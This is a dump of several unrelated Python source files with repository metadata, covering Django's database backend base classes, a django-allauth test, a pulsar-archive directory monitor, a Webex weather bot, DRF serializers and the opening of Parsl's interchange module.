requires_explicit_null_ordering_when_grouping = False # Does the backend order NULL values as largest or smallest? nulls_order_largest = False # Is there a 1000 item limit on query parameters? supports_1000_query_parameters = True # Can an object have a primary key of 0? MySQL says No. allows_primary_key_0 = True # Do we need to NULL a ForeignKey out, or can the constraint check be # deferred can_defer_constraint_checks = False # date_interval_sql can properly handle mixed Date/DateTime fields and timedeltas supports_mixed_date_datetime_comparisons = True # Does the backend support tablespaces? Default to False because it isn't # in the SQL standard. supports_tablespaces = False # Does the backend reset sequences between tests? supports_sequence_reset = True # Confirm support for introspected foreign keys # Every database can do this reliably, except MySQL, # which can't do it for MyISAM tables can_introspect_foreign_keys = True # Can the backend introspect an AutoField, instead of an IntegerField? can_introspect_autofield = False # Support for the DISTINCT ON clause can_distinct_on_fields = False # Does the backend decide to commit before SAVEPOINT statements # when autocommit is disabled? http://bugs.python.org/issue8145#msg109965 autocommits_when_autocommit_is_off = False # Does the backend prevent running SQL queries in broken transactions? atomic_transactions = True # Can we roll back DDL in a transaction? can_rollback_ddl = False # Can we issue more than one ALTER COLUMN clause in an ALTER TABLE? supports_combined_alters = False # What's the maximum length for index names? max_index_name_length = 63 # Does it support foreign keys? supports_foreign_keys = True # Does it support CHECK constraints? supports_check_constraints = True # Does the backend support 'pyformat' style ("... %(name)s ...", {'name': value}) # parameter passing? Note this can be provided by the backend even if not # supported by the Python driver supports_paramstyle_pyformat = True # Does the backend require literal defaults, rather than parameterised ones? requires_literal_defaults = False # Does the backend require a connection reset after each material schema change? connection_persists_old_columns = False # What kind of error does the backend throw when accessing closed cursor? closed_cursor_error_class = ProgrammingError def __init__(self, connection): self.connection = connection @cached_property def supports_transactions(self): "Confirm support for transactions" try: # Make sure to run inside a managed transaction block, # otherwise autocommit will cause the confimation to # fail. self.connection.enter_transaction_management() cursor = self.connection.cursor() cursor.execute('CREATE TABLE ROLLBACK_TEST (X INT)') self.connection.commit() cursor.execute('INSERT INTO ROLLBACK_TEST (X) VALUES (8)') self.connection.rollback() cursor.execute('SELECT COUNT(X) FROM ROLLBACK_TEST') count, = cursor.fetchone() cursor.execute('DROP TABLE ROLLBACK_TEST') self.connection.commit() finally: self.connection.leave_transaction_management() return count == 0 @cached_property def supports_stddev(self): "Confirm support for STDDEV and related stats functions" class StdDevPop(object): sql_function = 'STDDEV_POP' try: self.connection.ops.check_aggregate_support(StdDevPop()) return True except NotImplementedError: return False class BaseDatabaseOperations(object): """ This class encapsulates all backend-specific differences, such as the way a backend performs ordering or calculates the ID of a recently-inserted row. """ compiler_module = "django.db.models.sql.compiler" def __init__(self, connection): self.connection = connection self._cache = None def autoinc_sql(self, table, column): """ Returns any SQL needed to support auto-incrementing primary keys, or None if no SQL is necessary. This SQL is executed when a table is created. """ return None def bulk_batch_size(self, fields, objs): """ Returns the maximum allowed batch size for the backend. The fields are the fields going to be inserted in the batch, the objs contains all the objects to be inserted. """ return len(objs) def cache_key_culling_sql(self): """ Returns an SQL query that retrieves the first cache key greater than the n smallest. This is used by the 'db' cache backend to determine where to start culling. """ return "SELECT cache_key FROM %s ORDER BY cache_key LIMIT 1 OFFSET %%s" def date_extract_sql(self, lookup_type, field_name): """ Given a lookup_type of 'year', 'month' or 'day', returns the SQL that extracts a value from the given date field field_name. """ raise NotImplementedError('subclasses of BaseDatabaseOperations may require a date_extract_sql() method') def date_interval_sql(self, sql, connector, timedelta): """ Implements the date interval functionality for expressions """ raise NotImplementedError('subclasses of BaseDatabaseOperations may require a date_interval_sql() method') def date_trunc_sql(self, lookup_type, field_name): """ Given a lookup_type of 'year', 'month' or 'day', returns the SQL that truncates the given date field field_name to a date object with only the given specificity. """ raise NotImplementedError('subclasses of BaseDatabaseOperations may require a datetrunc_sql() method') def datetime_cast_sql(self): """ Returns the SQL necessary to cast a datetime value so that it will be retrieved as a Python datetime object instead of a string. This SQL should include a '%s' in place of the field's name. """ return "%s" def datetime_extract_sql(self, lookup_type, field_name, tzname): """ Given a lookup_type of 'year', 'month', 'day', 'hour', 'minute' or 'second', returns the SQL that extracts a value from the given datetime field field_name, and a tuple of parameters. """ raise NotImplementedError('subclasses of BaseDatabaseOperations may require a datetime_extract_sql() method') def datetime_trunc_sql(self, lookup_type, field_name, tzname): """ Given a lookup_type of 'year', 'month', 'day', 'hour', 'minute' or 'second', returns the SQL that truncates the given datetime field field_name to a datetime object with only the given specificity, and a tuple of parameters. """ raise NotImplementedError('subclasses of BaseDatabaseOperations may require a datetime_trunk_sql() method') def deferrable_sql(self): """ Returns the SQL necessary to make a constraint "initially deferred" during a CREATE TABLE statement. """ return '' def distinct_sql(self, fields): """ Returns an SQL DISTINCT clause which removes duplicate rows from the result set. If any fields are given, only the given fields are being checked for duplicates. """ if fields: raise NotImplementedError('DISTINCT ON fields is not supported by this database backend') else: return 'DISTINCT' def drop_foreignkey_sql(self): """ Returns the SQL command that drops a foreign key. """ return "DROP CONSTRAINT" def drop_sequence_sql(self, table): """ Returns any SQL necessary to drop the sequence for the given table. Returns None if no SQL is necessary. """ return None def fetch_returned_insert_id(self, cursor): """ Given a cursor object that has just performed an INSERT...RETURNING statement into a table that has an auto-incrementing ID, returns the newly created ID. """ return cursor.fetchone()[0] def field_cast_sql(self, db_type, internal_type): """ Given a column type (e.g. 'BLOB', 'VARCHAR'), and an internal type (e.g. 'GenericIPAddressField'), returns the SQL necessary to cast it before using it in a WHERE statement. Note that the resulting string should contain a '%s' placeholder for the column being searched against. """ return '%s' def force_no_ordering(self): """ Returns a list used in the "ORDER BY" clause to force no ordering at all. Returning an empty list means that nothing will be included in the ordering. """ return [] def for_update_sql(self, nowait=False): """ Returns the FOR UPDATE SQL clause to lock rows for an update operation. """ if nowait: return 'FOR UPDATE NOWAIT' else: return 'FOR UPDATE' def fulltext_search_sql(self, field_name): """ Returns the SQL WHERE clause to use in order to perform a full-text search of the given field_name. Note that the resulting string should contain a '%s' placeholder for the value being searched against. """ raise NotImplementedError('Full-text search is not implemented for this database backend') def last_executed_query(self, cursor, sql, params): """ Returns a string of the query last executed by the given cursor, with placeholders replaced with actual values. `sql` is the raw query containing placeholders, and `params` is the sequence of parameters. These are used by default, but this method exists for database backends to provide a better implementation according to their own quoting schemes. """ from django.utils.encoding import force_text # Convert params to contain Unicode values. to_unicode = lambda s: force_text(s, strings_only=True, errors='replace') if isinstance(params, (list, tuple)): u_params = tuple(to_unicode(val) for val in params) elif params is None: u_params = () else: u_params = dict((to_unicode(k), to_unicode(v)) for k, v in params.items()) return six.text_type("QUERY = %r - PARAMS = %r") % (sql, u_params) def last_insert_id(self, cursor, table_name, pk_name): """ Given a cursor object that has just performed an INSERT statement into a table that has an auto-incrementing ID, returns the newly created ID. This method also receives the table name and the name of the primary-key column. """ return cursor.lastrowid def lookup_cast(self, lookup_type): """ Returns the string to use in a query when performing lookups ("contains", "like", etc). The resulting string should contain a '%s' placeholder for the column being searched against. """ return "%s" def max_in_list_size(self): """ Returns the maximum number of items that can be passed in a single 'IN' list condition, or None if the backend does not impose a limit. """ return None def max_name_length(self): """ Returns the maximum length of table and column names, or None if there is no limit. """ return None def no_limit_value(self): """ Returns the value to use for the LIMIT when we are wanting "LIMIT infinity". Returns None if the limit clause can be omitted in this case. """ raise NotImplementedError('subclasses of BaseDatabaseOperations may require a no_limit_value() method') def pk_default_value(self): """ Returns the value to use during an INSERT statement to specify that the field should use its default value. """ return 'DEFAULT' def process_clob(self, value): """ Returns the value of a CLOB column, for backends that return a locator object that requires additional processing. """ return value def return_insert_id(self): """ For backends that support returning the last insert ID as part of an insert query, this method returns the SQL and params to append to the INSERT query. The returned fragment should contain a format string to hold the appropriate column. """ pass def compiler(self, compiler_name): """ Returns the SQLCompiler class corresponding to the given name, in the namespace corresponding to the `compiler_module` attribute on this backend. """ if self._cache is None: self._cache = import_module(self.compiler_module) return getattr(self._cache, compiler_name) def quote_name(self, name): """ Returns a quoted version of the given table, index or column name. Does not quote the given name if it's already been quoted. """ raise NotImplementedError('subclasses of BaseDatabaseOperations may require a quote_name() method') def quote_parameter(self, value): """ Returns a quoted version of the value so it's safe to use in an SQL string. This should NOT be used to prepare SQL statements to send to the database; it is meant for outputting SQL statements to a file or the console for later execution by a developer/DBA. """ raise NotImplementedError() def random_function_sql(self): """ Returns an SQL expression that returns a random value. """ return 'RANDOM()' def regex_lookup(self, lookup_type): """ Returns the string to use in a query when performing regular expression lookups (using "regex" or "iregex"). The resulting string should contain a '%s' placeholder for the column being searched against. If the feature is not supported (or part of it is not supported), a NotImplementedError exception can be raised. """ raise NotImplementedError('subclasses of BaseDatabaseOperations may require a regex_lookup() method') def savepoint_create_sql(self, sid): """ Returns the SQL for starting a new savepoint. Only required if the "uses_savepoints" feature is True. The "sid" parameter is a string for the savepoint id. """ return "SAVEPOINT %s" % self.quote_name(sid) def savepoint_commit_sql(self, sid): """ Returns the SQL for committing the given savepoint. """ return "RELEASE SAVEPOINT %s" % self.quote_name(sid) def savepoint_rollback_sql(self, sid): """ Returns the SQL for rolling back the given savepoint. """ return "ROLLBACK TO SAVEPOINT %s" % self.quote_name(sid) def set_time_zone_sql(self): """ Returns the SQL that will set the connection's time zone. Returns '' if the backend doesn't support time zones. """ return '' def sql_flush(self, style, tables, sequences, allow_cascade=False): """ Returns a list of SQL statements required to remove all data from the given database tables (without actually removing the tables themselves). The returned value also includes SQL statements required to reset DB sequences passed in :param sequences:. The `style` argument is a Style object as returned by either color_style() or no_style() in django.core.management.color. The `allow_cascade` argument determines whether truncation may cascade to tables with foreign keys pointing the tables being truncated. PostgreSQL requires a cascade even if these tables are empty. """ raise NotImplementedError('subclasses of BaseDatabaseOperations must provide a sql_flush() method') def sequence_reset_by_name_sql(self, style, sequences): """ Returns a list of the SQL statements required to reset sequences passed in :param sequences:. The `style` argument is a Style object as returned by either color_style() or no_style() in django.core.management.color. """ return [] def sequence_reset_sql(self, style, model_list): """ Returns a list of the SQL statements required to reset sequences for the given models. The `style` argument is a Style object as returned by either color_style() or no_style() in django.core.management.color. """ return [] # No sequence reset required by default. def start_transaction_sql(self): """ Returns the SQL statement required to start a transaction. """ return "BEGIN;" def end_transaction_sql(self, success=True): """ Returns the SQL statement required to end a transaction. """ if not success: return "ROLLBACK;" return "COMMIT;" def tablespace_sql(self, tablespace, inline=False): """ Returns the SQL that will be used in a query to define the tablespace. Returns '' if the backend doesn't support tablespaces. If inline is True, the SQL is appended to a row; otherwise it's appended to the entire CREATE TABLE or CREATE INDEX statement. """ return '' def prep_for_like_query(self, x): """Prepares a value for use in a LIKE query.""" from django.utils.encoding import force_text return force_text(x).replace("\\", "\\\\").replace("%", "\%").replace("_", "\_") # Same as prep_for_like_query(), but called for "iexact" matches, which # need not necessarily be implemented using "LIKE" in the backend. prep_for_iexact_query = prep_for_like_query def validate_autopk_value(self, value): """ Certain backends do not accept some values for "serial" fields (for example zero in MySQL). This method will raise a ValueError if the value is invalid, otherwise returns validated value. """ return value def value_to_db_date(self, value): """ Transform a date value to an object compatible with what is expected by the backend driver for date columns. """ if value is None: return None return six.text_type(value) def value_to_db_datetime(self, value): """ Transform a datetime value to an object compatible with what is expected by the backend driver for datetime columns. """ if value is None: return None return six.text_type(value) def value_to_db_time(self, value): """ Transform a time value to an object compatible with what is expected by the backend driver for time columns. """ if value is None: return None if timezone.is_aware(value): raise ValueError("Django does not support timezone-aware times.") return six.text_type(value) def value_to_db_decimal(self, value, max_digits, decimal_places): """ Transform a decimal.Decimal value to an object compatible with what is expected by the backend driver for decimal (numeric) columns. """ if value is None: return None return utils.format_number(value, max_digits, decimal_places) def year_lookup_bounds_for_date_field(self, value): """ Returns a two-elements list with the lower and upper bound to be used with a BETWEEN operator to query a DateField value using a year lookup. `value` is an int, containing the looked-up year. """ first = datetime.date(value, 1, 1) second = datetime.date(value, 12, 31) return [first, second] def year_lookup_bounds_for_datetime_field(self, value): """ Returns a two-elements list with the lower and upper bound to be used with a BETWEEN operator to query a DateTimeField value using a year lookup. `value` is an int, containing the looked-up year. """ first = datetime.datetime(value, 1, 1) second = datetime.datetime(value, 12, 31, 23, 59, 59, 999999) if settings.USE_TZ: tz = timezone.get_current_timezone() first = timezone.make_aware(first, tz) second = timezone.make_aware(second, tz) return [first, second] def convert_values(self, value, field): """ Coerce the value returned by the database backend into a consistent type that is compatible with the field type. """ if value is None or field is None: return value internal_type = field.get_internal_type() if internal_type == 'FloatField': return float(value) elif (internal_type and (internal_type.endswith('IntegerField') or internal_type == 'AutoField')): return int(value) return value def check_aggregate_support(self, aggregate_func): """Check that the backend supports the provided aggregate This is used on specific backends to rule out known aggregates that are known to have faulty implementations. If the named aggregate function has a known problem, the backend should raise NotImplementedError. """ pass def combine_expression(self, connector, sub_expressions): """Combine a list of subexpressions into a single expression, using the provided connecting operator. This is required because operators can vary between backends (e.g., Oracle with %% and &) and between subexpression types (e.g., date expressions) """ conn = ' %s ' % connector return conn.join(sub_expressions) def modify_insert_params(self, placeholders, params): """Allow modification of insert parameters. Needed for Oracle Spatial backend due to #10888. """ return params # Structure returned by the DB-API cursor.description interface (PEP 249) FieldInfo = namedtuple('FieldInfo', 'name type_code display_size internal_size precision scale null_ok') class BaseDatabaseIntrospection(object): """ This class encapsulates all backend-specific introspection utilities """ data_types_reverse = {} def __init__(self, connection): self.connection = connection def get_field_type(self, data_type, description): """Hook for a database backend to use the cursor description to match a Django field type to a database column. For Oracle, the column data_type on its own is insufficient to distinguish between a FloatField and IntegerField, for example.""" return self.data_types_reverse[data_type] def table_name_converter(self, name): """Apply a conversion to the name for the purposes of comparison. The default table name converter is for case sensitive comparison. """ return name def table_names(self, cursor=None): """ Returns a list of names of all tables that exist in the database. The returned table list is sorted by Python's default sorting. We do NOT use database's ORDER BY here to avoid subtle differences in sorting order between databases. """ if cursor is None: cursor = self.connection.cursor() return sorted(self.get_table_list(cursor)) def get_table_list(self, cursor): """ Returns an unsorted list of names of all tables that exist in the database. """ raise NotImplementedError('subclasses of BaseDatabaseIntrospection may require a get_table_list() method') def django_table_names(self, only_existing=False): """ Returns a list of all table names that have associated Django models and are in INSTALLED_APPS. If only_existing is True, the resulting list will only include the tables that actually exist in the database. """ from django.apps import apps from django.db import router tables = set() for app_config in apps.get_app_configs(only_with_models_module=True): for model in router.get_migratable_models(app_config.models_module, self.connection.alias): if not model._meta.managed: continue tables.add(model._meta.db_table) tables.update(f.m2m_db_table() for f in model._meta.local_many_to_many) tables = list(tables) if only_existing: existing_tables = self.table_names() tables = [ t for t in tables if self.table_name_converter(t) in existing_tables ] return tables def installed_models(self, tables): "Returns a set of all models represented by the provided list of table names." from django.apps import apps from django.db import router all_models = [] for app_config in apps.get_app_configs(only_with_models_module=True): all_models.extend(router.get_migratable_models(app_config.models_module, self.connection.alias)) tables = list(map(self.table_name_converter, tables)) return set([ m for m in all_models if self.table_name_converter(m._meta.db_table) in tables ]) def sequence_list(self): "Returns a list of information about all DB sequences for all models in all apps." from django.apps import apps from django.db import models, router sequence_list = [] for app_config in apps.get_app_configs(only_with_models_module=True): for model in router.get_migratable_models(app_config.models_module, self.connection.alias): if not model._meta.managed: continue if model._meta.swapped: continue for f in model._meta.local_fields: if isinstance(f, models.AutoField): sequence_list.append({'table': model._meta.db_table, 'column': f.column}) break # Only one AutoField is allowed per model, so don't bother continuing. for f in model._meta.local_many_to_many: # If this is an m2m using an intermediate table, # we don't need to reset the sequence. if f.rel.through is None: sequence_list.append({'table': f.m2m_db_table(), 'column': None}) return sequence_list def get_key_columns(self, cursor, table_name): """ Backends can override this to return a list of (column_name, referenced_table_name, referenced_column_name) for all key columns in given table. """ raise NotImplementedError('subclasses of BaseDatabaseIntrospection may require a get_key_columns() method') def get_primary_key_column(self, cursor, table_name): """ Returns the name of the primary key column for the given table. """ for column in six.iteritems(self.get_indexes(cursor, table_name)): if column[1]['primary_key']: return column[0] return None def get_indexes(self, cursor, table_name): """ Returns a dictionary of indexed fieldname -> infodict for the given table, where each infodict is in the format: {'primary_key': boolean representing whether it's the primary key, 'unique': boolean representing whether it's a unique index} Only single-column indexes are introspected. """ raise NotImplementedError('subclasses of BaseDatabaseIntrospection may require a get_indexes() method') def get_constraints(self, cursor, table_name): """ Retrieves any constraints or keys (unique, pk, fk, check, index) across one or more columns. Returns a dict mapping constraint names to their attributes, where attributes is a dict with keys: * columns: List of columns this covers * primary_key: True if primary key, False otherwise * unique: True if this is a unique constraint, False otherwise * foreign_key: (table, column) of target, or None * check: True if check constraint, False otherwise * index: True if index, False otherwise. Some backends may return special constraint names that don't exist if they don't name constraints of a certain type (e.g. SQLite) """ raise NotImplementedError('subclasses of BaseDatabaseIntrospection may require a get_constraints() method') class BaseDatabaseClient(object): """ This class encapsulates all backend-specific methods for opening a client shell. """ # This should be a string representing the name of the executable # (e.g., "psql"). Subclasses must override this. executable_name = None def __init__(self, connection): # connection is an instance of BaseDatabaseWrapper. self.connection = connection def runshell(self): raise NotImplementedError('subclasses of BaseDatabaseClient must provide a runshell() method') class BaseDatabaseValidation(object): """ This class encapsualtes all backend-specific model validation. """ def __init__(self, connection): self.connection = connection def validate_field(self, errors, opts, f): "By default, there is no backend-specific validation" pass

8f108b56cdc4b1e2a6586461ef2e4f26ccacb6b7

py

Python

allauth/tests.py

k1000/django-allauth

e67b05fde5635f19850de73558987573c085826f

2015-11-05T15:17:10.000Z

2015-11-05T15:17:10.000Z

allauth/tests.py

k1000/django-allauth

e67b05fde5635f19850de73558987573c085826f

allauth/tests.py

k1000/django-allauth

e67b05fde5635f19850de73558987573c085826f

from django.test import TestCase from django.core.urlresolvers import reverse import utils class BasicTests(TestCase): def test_email_validation(self): s = 'unfortunately.django.user.email.max_length.is.set.to.75.which.is.too.short@bummer.com' self.assertEquals(None, utils.valid_email_or_none(s)) s = 'this.email.address.is.a.bit.too.long.but.should.still.validate.ok@short.com' self.assertEquals(s, utils.valid_email_or_none(s)) s = 'x'+s self.assertEquals(None, utils.valid_email_or_none(s)) self.assertEquals(None, utils.valid_email_or_none("Bad ?"))

c18ade9fa815f2e610855f467d72c76ccae53bfd

py

Python

scripts/archive_directory_monitor.py

steve-ord/psrchive-docker

4d7e1150f2f5af541242b7977ef4654b7623293e

scripts/archive_directory_monitor.py

steve-ord/psrchive-docker

4d7e1150f2f5af541242b7977ef4654b7623293e

scripts/archive_directory_monitor.py

steve-ord/psrchive-docker

4d7e1150f2f5af541242b7977ef4654b7623293e

import logging import signal import sys import shlex import shutil import os from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler from subprocess import Popen, PIPE log = logging.getLogger("archive_directory_monitor") class ArchiveAdder(FileSystemEventHandler): def __init__(self,output_dir): super(ArchiveAdder,self).__init__() self.output_dir = output_dir self.first_file = True def _syscall(self,cmd): log.debug("Calling: {}".format(cmd)) proc = Popen(shlex.split(cmd),stdout=PIPE,stderr=PIPE) proc.wait() if proc.returncode != 0: log.error(proc.stderr.read()) else: log.debug("Call success") def fscrunch(self,fname): self._syscall("pam -F -e fscrunch {}".format(fname)) return fname.replace(".ar",".fscrunch") def process(self,fname): fscrunch_fname = self.fscrunch(fname) if self.first_file: log.debug("First file in set. Copying to sum.?scrunch.") shutil.copy2(fscrunch_fname,"sum.fscrunch") shutil.copy2(fname,"sum.tscrunch") self.first_file = False else: self._syscall("psradd -T -inplace sum.tscrunch {}".format(fname)) self._syscall("psradd -inplace sum.fscrunch {}".format(fscrunch_fname)) os.remove(fscrunch_fname) shutil.copy2("sum.fscrunch",self.output_dir) shutil.copy2("sum.tscrunch",self.output_dir) def on_created(self, event): log.debug("New file created: {}".format(event.src_path)) try: fname = event.src_path if fname.endswith(".ar"): log.debug("Passing archive file for processing") self.process(fname) except Exception as error: log.error(error) def main(input_dir,output_dir,handler): observer = Observer() observer.daemon = False log.debug("Input directory: {}".format(input_dir)) log.debug("Output directory: {}".format(output_dir)) log.debug("Setting up ArchiveAdder handler") observer.schedule(handler, input_dir, recursive=False) def shutdown(sig,func): log.debug("Signal handler called on signal: {}".format(sig)) observer.stop() observer.join() sys.exit() log.debug("Setting SIGTERM and SIGINT handler") signal.signal(signal.SIGTERM,shutdown) signal.signal(signal.SIGINT,shutdown) log.debug("Starting directory monitor") observer.start() log.debug("Parent thread entering 1 second polling loop") while not observer.stopped_event.wait(1): pass if __name__ == "__main__": from argparse import ArgumentParser FORMAT = "[ %(levelname)s - %(asctime)s - %(filename)s:%(lineno)s] %(message)s" logger = logging.getLogger('archive_directory_monitor') logging.basicConfig(format=FORMAT) logger.setLevel(logging.DEBUG) usage = "usage: {prog} [options]".format(prog=sys.argv[0]) parser = ArgumentParser(usage=usage) parser.add_argument("-i","--input_dir",type=str, help="The directory to monitor for new files", required=True) parser.add_argument("-o","--output_dir",type=str, help="The directory to output results to", required=True) parser.add_argument("-m","--mode",type=str, help="Processing mode to operate in", default="ArchiveAdder") args = parser.parse_args() if args.mode == "ArchiveAdder": handler = ArchiveAdder(args.output_dir) else: log.error("Processing mode {} is not supported.".format(args.mode)) sys.exit(-1) main(args.input_dir,args.output_dir,handler)

94ca0f21cfa0c822072a772ee71d7b4d43649124

py

Python

demo_path_routing_auth/urls.py

mccalluc/django_docker_engine

2f8241ef9b504e89de54bb5f18ef3c925adea116

2017-04-25T10:22:53.000Z

2021-09-11T10:18:04.000Z

demo_path_routing_auth/urls.py

django-africa/django_docker_engine

2f8241ef9b504e89de54bb5f18ef3c925adea116

2017-03-22T19:24:24.000Z

2021-03-25T21:57:53.000Z

demo_path_routing_auth/urls.py

mccalluc/django_docker_engine

2f8241ef9b504e89de54bb5f18ef3c925adea116

2018-05-23T10:00:06.000Z

2020-03-05T05:56:02.000Z

from django.conf.urls import include, url from . import views urlpatterns = [ url(r'^$', views.index), url(r'^login/$', views.login), url(r'^logout/$', views.logout), url(r'^launch/$', views.launch), url(r'^kill/(.*)$', views.kill), url(r'^logs/(.*)$', views.logs), url(r'^history/(.*)$', views.history), url(r'^upload/(.*)$', views.upload), url(r'^docker/', include(__package__ + '.proxy_url_patterns')) ]

194220590a21afb901acec0403ece7cae9bdce0c

py

Python

examples/introduction.to.programming.with.turtle/for_all/6-2-3.very.step.and.turn.py

strakam/PyEasyGraphics

57a586aa92385d26725d4ec3d61b2bbbe970195d

2019-09-23T05:15:47.000Z

2021-01-17T08:06:47.000Z

examples/introduction.to.programming.with.turtle/for_all/6-2-3.very.step.and.turn.py

strakam/PyEasyGraphics

57a586aa92385d26725d4ec3d61b2bbbe970195d

2019-05-03T05:25:17.000Z

2021-04-15T04:53:16.000Z

examples/introduction.to.programming.with.turtle/for_all/6-2-3.very.step.and.turn.py

strakam/PyEasyGraphics

57a586aa92385d26725d4ec3d61b2bbbe970195d

2019-05-04T13:42:40.000Z

2021-04-15T10:38:48.000Z

from easygraphics.turtle import * from easygraphics import * import math import sys def distance(x1, y1, x2, y2): dx = x2 - x1 dy = y2 - y1 return math.hypot(dx, dy) def factor(x, y): d = distance(get_x(), get_y(), x, y) if d < 1: return 1 return 1 / d def vary_step(x, y, side, angle): while is_run(): fd(factor(x, y) * side) lt(angle) def vary_turn(x, y, side, angle): while is_run(): fd(side) lt(factor(x, y) * angle); def main(): create_world(1024, 768) set_speed(100) setxy(100, 100) set_fill_color("red") fill_circle(0, 0, 4) # vary_step(0,0,1500,10) vary_turn(0, 0, 10, 2000) pause() close_world() easy_run(main)

2b86755125eb1c2790d65966028982cb59146379

py

Python

simple-webex-chatbot/weather.py

0x2142/example-scripts

1db386d0eb1af89d9b7da8fe667d9b5526b3001c

2020-11-09T20:04:08.000Z

2021-04-08T09:39:56.000Z

simple-webex-chatbot/weather.py

0x2142/example-scripts

1db386d0eb1af89d9b7da8fe667d9b5526b3001c

2022-02-06T02:53:42.000Z

2022-02-07T18:52:26.000Z

simple-webex-chatbot/weather.py

0x2142/example-scripts

1db386d0eb1af89d9b7da8fe667d9b5526b3001c

2021-02-25T08:31:08.000Z

2022-03-24T14:54:36.000Z

import json import logging import requests from webex_bot.models.command import Command log = logging.getLogger(__name__) # Get a free account at openweathermap.org & # insert API key here: OPENWEATHER_KEY = "" class WeatherByZIP(Command): def __init__(self): # Define custom command info here # command_keyword = what chat keyword will trigger this command to execute # help_message = what message is returned when user sends 'help' message # card = optionally send an AdaptiveCard response super().__init__( command_keyword="weather", help_message="Get current weather conditions by ZIP code.", card=None, ) def execute(self, message, attachment_actions): # By default, command keyword will be stripped out before being passed to execute function # For example, If user sends "weather 12345", then message variable will be " 12345" # Need to strip the additional whitespace around the input: zip_code = message.strip() # Define our URL, with desired parameters: ZIP code, units, and API Key url = "https://api.openweathermap.org/data/2.5/weather?" url += f"zip={zip_code}&units=imperial&appid={OPENWEATHER_KEY}" # Query weather response = requests.get(url) weather = response.json() # Pull out desired info city = weather["name"] conditions = weather["weather"][0]["description"] temperature = weather["main"]["temp"] humidity = weather["main"]["humidity"] wind = weather["wind"]["speed"] # Format message that will be sent back to the user response_message = ( f"In {city}, it's currently {temperature}F with {conditions}. " ) response_message += f"Wind speed is {wind}mph. Humidity is {humidity}%" # Message returned will be sent back to the user by bot return response_message

4225a8def7e48178f959f1b2f13994c352736683

py

Python

backend/wallet/api/v1/serializers.py

crowdbotics-apps/test-30107

c9c9e1338ac2fd286bead4b401144755699217c5

backend/wallet/api/v1/serializers.py

crowdbotics-apps/test-30107

c9c9e1338ac2fd286bead4b401144755699217c5

2021-08-30T03:24:39.000Z

2022-03-13T17:39:16.000Z

backend/wallet/api/v1/serializers.py

crowdbotics-apps/test-30107

c9c9e1338ac2fd286bead4b401144755699217c5

from rest_framework import serializers from wallet.models import ( PaymentTransaction, TaskerPaymentAccount, TaskerWallet, PaymentMethod, CustomerWallet, ) class TaskerPaymentAccountSerializer(serializers.ModelSerializer): class Meta: model = TaskerPaymentAccount fields = "__all__" class TaskerWalletSerializer(serializers.ModelSerializer): class Meta: model = TaskerWallet fields = "__all__" class PaymentTransactionSerializer(serializers.ModelSerializer): class Meta: model = PaymentTransaction fields = "__all__" class CustomerWalletSerializer(serializers.ModelSerializer): class Meta: model = CustomerWallet fields = "__all__" class PaymentMethodSerializer(serializers.ModelSerializer): class Meta: model = PaymentMethod fields = "__all__"

d181d018bf69ddc1d5572f803685a599400f01bf

py

Python

parsl/executors/high_throughput/interchange.py

jmoon1506/parsl

f4070799a07f314b09b255689972534059fc746e

parsl/executors/high_throughput/interchange.py

jmoon1506/parsl

f4070799a07f314b09b255689972534059fc746e

parsl/executors/high_throughput/interchange.py

jmoon1506/parsl

f4070799a07f314b09b255689972534059fc746e

#!/usr/bin/env python import argparse import zmq import os import sys import platform import random import time import datetime import pickle import logging import queue import threading import json from parsl.version import VERSION as PARSL_VERSION from parsl.serialize import ParslSerializer serialize_object = ParslSerializer().serialize from parsl.app.errors import RemoteExceptionWrapper from parsl.monitoring.message_type import MessageType from parsl.process_loggers import wrap_with_logs HEARTBEAT_CODE = (2 ** 32) - 1 PKL_HEARTBEAT_CODE = pickle.dumps((2 ** 32) - 1) class ShutdownRequest(Exception): ''' Exception raised when any async component receives a ShutdownRequest ''' def __init__(self): self.tstamp = time.time() def __repr__(self): return "Shutdown request received at {}".format(self.tstamp) def __str__(self): return self.__repr__() class ManagerLost(Exception): ''' Task lost due to manager loss. Manager is considered lost when multiple heartbeats have been missed. ''' def __init__(self, manager_id, hostname): self.manager_id = manager_id self.tstamp = time.time() self.hostname = hostname def __repr__(self): return "Task failure due to loss of manager {} on host {}".format(self.manager_id.decode(), self.hostname) def __str__(self): return self.__repr__() class BadRegistration(Exception): ''' A new Manager tried to join the executor with a BadRegistration message ''' def __init__(self, worker_id, critical=False): self.worker_id = worker_id self.tstamp = time.time() self.handled = "critical" if critical else "suppressed" def __repr__(self): return "Manager {} attempted to register with a bad registration message. Caused a {} failure".format( self.worker_id, self.handled) def __str__(self): return self.__repr__() class VersionMismatch(Exception): ''' Manager and Interchange versions do not match ''' def __init__(self, interchange_version, manager_version): self.interchange_version = interchange_version self.manager_version = manager_version def __repr__(self): return "Manager version info {} does not match interchange version info {}, causing a critical failure".format( self.interchange_version, self.manager_version) def __str__(self): return self.__repr__() class Interchange(object): """ Interchange is a task orchestrator for distributed systems. 1. Asynchronously queue large volume of tasks (>100K) 2. Allow for workers to join and leave the union 3. Detect workers that have failed using heartbeats 4. Service single and batch requests from workers 5. Be aware of requests worker resource capacity, eg. schedule only jobs that fit into walltime. TODO: We most likely need a PUB channel to send out global commands, like shutdown """ def __init__(self, client_address="127.0.0.1", interchange_address="127.0.0.1", client_ports=(50055, 50056, 50057), worker_ports=None, worker_port_range=(54000, 55000), hub_address=None, hub_port=None, heartbeat_threshold=60, logdir=".", logging_level=logging.INFO, poll_period=10, ): """ Parameters ---------- client_address : str The ip address at which the parsl client can be reached. Default: "127.0.0.1" interchange_address : str The ip address at which the workers will be able to reach the Interchange. Default: "127.0.0.1" client_ports : triple(int, int, int) The ports at which the client can be reached worker_ports : tuple(int, int) The specific two ports at which workers will connect to the Interchange. Default: None worker_port_range : tuple(int, int) The interchange picks ports at random from the range which will be used by workers. This is overridden when the worker_ports option is set. Default: (54000, 55000) hub_address : str The ip address at which the interchange can send info about managers to when monitoring is enabled. This is passed via dfk and executor automatically. Default: None (meaning monitoring disabled) hub_port : str The port at which the interchange can send info about managers to when monitoring is enabled. This is passed via dfk and executor automatically. Default: None (meaning monitoring disabled) heartbeat_threshold : int Number of seconds since the last heartbeat after which worker is considered lost. logdir : str Parsl log directory paths. Logs and temp files go here. Default: '.' logging_level : int Logging level as defined in the logging module. Default: logging.INFO (20) poll_period : int The main thread polling period, in milliseconds. Default: 10ms """ self.logdir = logdir os.makedirs(self.logdir, exist_ok=True) start_file_logger("{}/interchange.log".format(self.logdir), level=logging_level) logger.debug("Initializing Interchange process") self.client_address = client_address self.interchange_address = interchange_address self.poll_period = poll_period 